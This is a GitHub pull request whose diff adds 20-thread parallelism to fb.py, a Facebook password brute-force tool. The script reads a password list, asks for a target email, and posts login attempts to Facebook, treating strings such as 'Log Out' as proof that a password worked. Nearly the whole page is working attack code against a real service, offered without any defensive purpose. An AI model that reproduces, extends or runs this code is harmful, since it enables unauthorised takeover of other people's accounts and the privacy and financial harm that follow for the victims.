Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Multithreading Implementation in Facebook Brute Force Tool #150

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 38 additions & 13 deletions fb.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,13 @@

import os.path
import requests
from bs4 import BeautifulSoup
import sys
from threading import Thread, Lock
import time

if sys.version_info[0] != 3:
print('''\t--------------------------------------\n\t\tREQUIRED PYTHON 3.x\n\t\tinstall and try: python3
fb.py\n\t--------------------------------------''')
print('\t--------------------------------------\n\t\tREQUIRED PYTHON 3.x\n\t\tinstall and try: python3 fb.py\n\t--------------------------------------')
sys.exit()

PASSWORD_FILE = "passwords.txt"
Expand All @@ -17,7 +19,6 @@
PAYLOAD = {}
COOKIES = {}


def create_form():
form = dict()
cookies = {'fr': '0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'}
Expand All @@ -30,7 +31,6 @@ def create_form():
form['lsd'] = data.input['value']
return form, cookies


def is_this_a_password(email, index, password):
global PAYLOAD, COOKIES
if index % 10 == 0:
Expand All @@ -39,24 +39,49 @@ def is_this_a_password(email, index, password):
PAYLOAD['pass'] = password
r = requests.post(POST_URL, data=PAYLOAD, cookies=COOKIES, headers=HEADERS)
if 'Find Friends' in r.text or 'security code' in r.text or 'Two-factor authentication' in r.text or "Log Out" in r.text:
open('temp', 'w').write(str(r.content))
print('\npassword found is: ', password)
return True
return False

# Lock to ensure proper synchronization
lock = Lock()

if __name__ == "__main__":
# Function to handle password attempts for a chunk of passwords
def password_attempt_chunk(email, password_chunk):
global PAYLOAD, COOKIES
for index, password in enumerate(password_chunk):
password = password.strip()
if len(password) < MIN_PASSWORD_LENGTH:
continue
print("Trying password [", index, "]: ", password)
if is_this_a_password(email, index, password):
break

# Main function with multithreading implementation
def main():
print('\n---------- Welcome To Facebook BruteForce ----------\n')
if not os.path.isfile(PASSWORD_FILE):
print("Password file is not exist: ", PASSWORD_FILE)
sys.exit(0)
password_data = open(PASSWORD_FILE, 'r').read().split("\n")
print("Password file selected: ", PASSWORD_FILE)
email = input('Enter Email/Username to target: ').strip()
for index, password in zip(range(password_data.__len__()), password_data):
password = password.strip()
if len(password) < MIN_PASSWORD_LENGTH:
continue
print("Trying password [", index, "]: ", password)
if is_this_a_password(email, index, password):
break

# Divide the passwords into chunks for multithreading
num_threads = 20 # Number of threads
chunk_size = len(password_data) // num_threads
threads = []
for i in range(num_threads):
start_index = i * chunk_size
end_index = (i + 1) * chunk_size if i != num_threads - 1 else len(password_data)
chunk = password_data[start_index:end_index]
thread = Thread(target=password_attempt_chunk, args=(email, chunk))
thread.start()
threads.append(thread)

# Wait for all threads to complete
for thread in threads:
thread.join()

if __name__ == "__main__":
main()